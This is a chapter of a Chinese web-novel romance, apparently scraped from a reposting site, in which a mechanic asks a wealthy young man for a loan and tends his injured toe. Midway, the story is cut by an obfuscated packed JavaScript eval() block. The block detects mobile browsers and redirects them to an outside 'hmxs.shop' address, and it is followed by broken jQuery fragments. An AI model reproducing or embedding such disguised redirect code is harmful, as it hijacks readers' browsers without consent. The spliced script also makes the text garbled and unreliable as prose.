18.晋江文学城
徐蔚收回舌尖,牙齿碰撞在一起:“您贵人多忘事。”
周游抿嘴,在心里白了徐蔚一眼。
徐蔚才没把他当贵人,他把他当冤大头。
哪有人两手空空地跟人借钱的,他是有钱但不是傻子。
周游挺直的腰板倒进沙发里,架起来的脚尖随意地摆了摆,质问的语气里隐隐还带着丝丝许许的委屈,“你不是说没时间伺候我么,这时候说我是贵人了,有事钟无艳的?”
徐蔚没听过什么“有事钟无艳”,他只在游戏里玩过钟无艳,一对抗路女战士,抡个大锤,血皮贼厚。
他抓起旁边的垃圾桶,把磕完的瓜子壳拢进去,又在桌上整理出一块干净的地方擦干净,才拍掉手上的灰尘转身从口袋里掏,“这是我的身份证、农村宅基地的证明,还有……”
“……我的修车厂。”徐蔚的指腹滑过红彤彤的字体,郑重地把东西放在桌面上,“两年之内我会把借的钱还清。”
周游:“……”
他还没说借呢,这人已经开始说什么时候还了,徐蔚凭什么笃定他一定会借?
一个破修车厂,他也不是很想要,位置又偏还没什么生意,天天接些小活,穷死了的。
一个贼偏僻乡下农村的房子,连空调都没有,洗澡还是什么澡锅,他要着有什么用。
还有身份证,笑死,他拿徐蔚的身份证干什么,拿回家贴在门上当门神吗?
“谁要了。”周游不屑地抿嘴,指尖扣了扣突然泛着痒意的蚊子包,“你还没跟我道歉呢。”
“怎么道?”徐蔚掀起眸子定定地看向周游,他的舌尖还留着瓜子的咸味,“我给你跪下?”
“你有病吧……嘶——”周游猛地从沙发上站起来,踢肿的脚趾落地的瞬间发出了痛苦的哀鸣,疼得他重新摔了回去。
倒在沙发里的周游缓了好久才拱起腿伸手把鞋子脱掉,小心翼翼地拽掉袜子,一双眼睛仔仔细细地凑过去,没流血。
本来他妈的就有点肿,刚才又不小心踢到茶几了,那股子痛真是要了命了。
都他妈怪徐蔚。
要不是……
“别告诉我你走回去的?”
徐蔚不知道什么时候凑过来了,两只眼睛盯着周游受伤的脚尖,手指头掐在他细弱又白皙的脚踝上。
周游:“……”
抓他脚干什么!
不是说好了不伺候了么。
周游的小腿肚子猛地绷紧了下。
那股子粗糙的摩挲感再次涌现出来,顺着他的小腿皮肤往上爬,直往小腹里钻,周游不自在地咽了口口水,硬生生把脚腕挣了出来,“我是煞笔吧,我靠脚走?”
“别动。”周游听见徐蔚轻声低吼。
周游挪动的小腿顿在了空中,那双带着砂纸一般触感的手指头跟着他的脚踝过来了,温热的掌心将他的脚踝牢牢掌住。
身边的沙发重重地陷落进去,徐蔚整个人都凑了过来。
浓厚的机油味裹挟着淡淡的烟草气息,伴随着徐蔚身上的汗腥味往他的鼻子里冲,不太好闻。
周游抽了抽鼻子,手指按进皮沙发里,咯吱作响,明明应该往后退的身体却莫名其妙停在了原地。
这个糙货要干什么?
徐蔚将红肿发紫的脚尖抬起来仔仔细细看了清楚,他掀起眸子看向脚的主人:“冰敷了吗?”
周游无措地动了动脚趾,脚趾疼但是也没那么疼,最疼的时候已经过了,现在应该没什么事,他恶狠狠地冲着徐蔚炸着毛:“关你屁事。”
徐蔚本想把掌心里的脚腕丢回去,一抬眼就看到小少爷微微发红的眼角,一副碰一下就要哭出来的模样:“你这指甲怕是要掉。”
“什么?”周游赶紧直起身,手往自己脚丫子上摸,“不会吧,我就是往墙上踹了一脚,那会儿是有点疼,现在没什么感觉了。”
他黑色的指甲在莹白的脚背上轻轻拂过,停在红肿的大脚趾上:“只有有点紫、有点肿,指甲不会掉的,你别吓我。”
“这会儿知道怕了?”徐蔚听着小少爷自我安慰,他的视线停在那只在脚趾上轻抚的手上,又移向红肿的大脚趾上,“我瞅你还是不疼,能伤着在这坐五个小时。”
“……还喝酒。”徐蔚挑了下眉头,视线落在小少爷正对面茶几上的酒杯上,红色的液体在白色的灯光下闪耀着诱人的颜色,吸引着人把它一饮而尽。
“屁咧,”周游皱了皱鼻子,骄纵的抱怨从小嘴里吐露出来,“我喝什么了我喝,都是别人点的。”
“都怪你。”周游推了一把徐蔚,要不是这个糙货把他丢在那地方,他能气的踹墙吗?
不踹墙,他脚能受伤吗?
周游垂下眼睛,撅起嘴吹了吹自己的脚趾头:“真的会掉吗?那得多难看啊!”
徐蔚瞥那张吹气的小嘴,牙齿尖尖都在发痒。
这小少爷真是绝,五个小时了能忍着疼,却怕脚趾甲掉了不漂亮。
“慢慢长吧,”徐蔚伸出手捉住小少爷胡乱动着的脚趾,用轻的不能再轻的力道绕着红肿的四处按了按,“还行,应该不会全掉,里面会空一截,后面的指甲长出来,前面的慢慢剪掉就好了。”
周游不自在地挠挠脸搓搓鼻尖,这人怎么这样啊?
脚踝还能说是皮肤,脚趾头可真的在鞋子里呆过,这个糙货几乎是毫不犹豫直接上手捉着看,那距离他只要微微动一下脚,就能把脚踩到徐蔚的脸上去……
“哎,”周游从膝盖上微微抬起一点点下巴,用有些别扭的语气说,“你要钱干什么?”
徐蔚把小少爷的脚仔细地放回去,说出来的话正式且正经:“有个老板,想跟我合作拿下几个修理厂,那几个厂位置都挺好,能拿下来后面发展不会差,我现在手上没那么多。”
周游在沙发上找了半天袜子没找着,最后在徐蔚屁股底下看到了半截,他躬着腰伸手去抽:“谁啊?别是骗你的吧,市里还有隔壁几个市的修理厂不都是万家包了,哪还有市场给你们。”
微卷的头发丝从自己的下巴处蹭过,规整的圆形漩涡在徐蔚的眼皮子晃荡着,靠得近了小少爷身上独特的气味直往鼻子里钻。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963126|193299||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
徐蔚的心神晃荡了一下,莫名想起昨夜里粗糙的指腹钻进人裤子布料里的情景,那一把子暴烈的触感在掌心里炸开来,让人久久无法拿下不要脸的指节。
他记得一开始,他确实是奔着那块僵硬的肌肉去的,细细地揉、缓缓地捏,后来僵硬的肌肉散了,唔唔喊疼的人把两条腿胡乱地架在他的胳膊上沉睡了过去。
宽大的裤子遮不住纤细笔直的腿,沿着大腿滑下去,雪白的皮肤上缀着蚊子咬的蚊子包。
他的掌心就那么不对劲了起来,从柔软的小腿肚子一路顺下去,顺到圆润粉红的脚趾上握住,牵到自己脚边比了比大小,那点小脚简直不够看的。
他的手指顺着拱起的脚背弧度缓慢地向上,沿着膝盖一路抚到毫无遮挡的大腿之上,越过通红的蚊子包,缓慢地把掌心攥上去揉了揉。
“你坐着我的袜子了。”周游好半天没抽出来袜子,他伸手拍了拍还在愣神的徐蔚的手臂,指了指他的屁股下面。
徐蔚收回胡思乱想的目光顺着小少爷的手指看过去,一只白花花的袜子被坐在他的屁股下面,只露出半截来。
他伸出手把屁股下面的袜子捞起来,捉着小少爷的脚尖往自己的膝盖上轻轻一放,白色袜子缓缓卷起,从红肿的脚趾头开始,缓慢地往上。
周游的后脊骨涌起难以言喻的酥麻,从小腿窜起的小疙瘩一点一点往上爬,明亮的灯光下,他的脸上浮现出一片日落的晚霞,毫无遮挡。
他伸出手一把按在徐蔚的手臂上,莹白的肤色和徐蔚小麦色的皮肤撞在一起,格外的显眼。
“徐蔚,你、你是在讨好我吗?”
徐蔚眼睛都没抬起来,卷起的袜子路过微微泛着粉色的脚趾,路过微微向上拱起能看见青筋的脚背,服帖地包裹住精致又能完全掌住的脚踝,“你可以这么认为。”
粗大的喉结在周游的眼皮子底下动了动,不长不短的睫毛掀起来,一双看起来就深情的眼睛定定地看着他。
周游的心脏不可抑制地乱跳了一秒,他抬起另一只手心虚地搭在额头上,挡住眼里汩汩冒出去的热气。
徐蔚打量坐在对面看起来很忙的人,钱可以和很多人借,只要他多找点人是能凑出来的。
甚至,司家的大老板说,真的不够,按照入的钱重新划分比例。
他可以不伺候小少爷。
徐蔚垂下脸握着那只脚踝把白色袜子穿得整整齐齐,他没有把手心里的脚丢下去,一把精瘦的腰躬出屈从的弧度,从桌下将周游那双雪白干净的球鞋捞起来,粗糙的手指头捏着鞋带两头轻轻一扯。
周游的瞳孔猛地一震,搭在徐蔚手臂上的手指几乎要着起来,指腹里像是钻进了一根灭不了的小火苗。
他把手指收回来藏在自己的胸前,不自在地搓了搓。
徐蔚扯鞋带的姿势太过熟练潇洒,莫名让人觉得像在扯裤腰带,毫无生命的一截绳子在他的手心里像是有了活力一般,无比听从他的话,随着徐蔚的心意变换着不同的形状,或是松或是紧。
或是让人浑身热气腾腾,或是让人窒息地喘不过气来。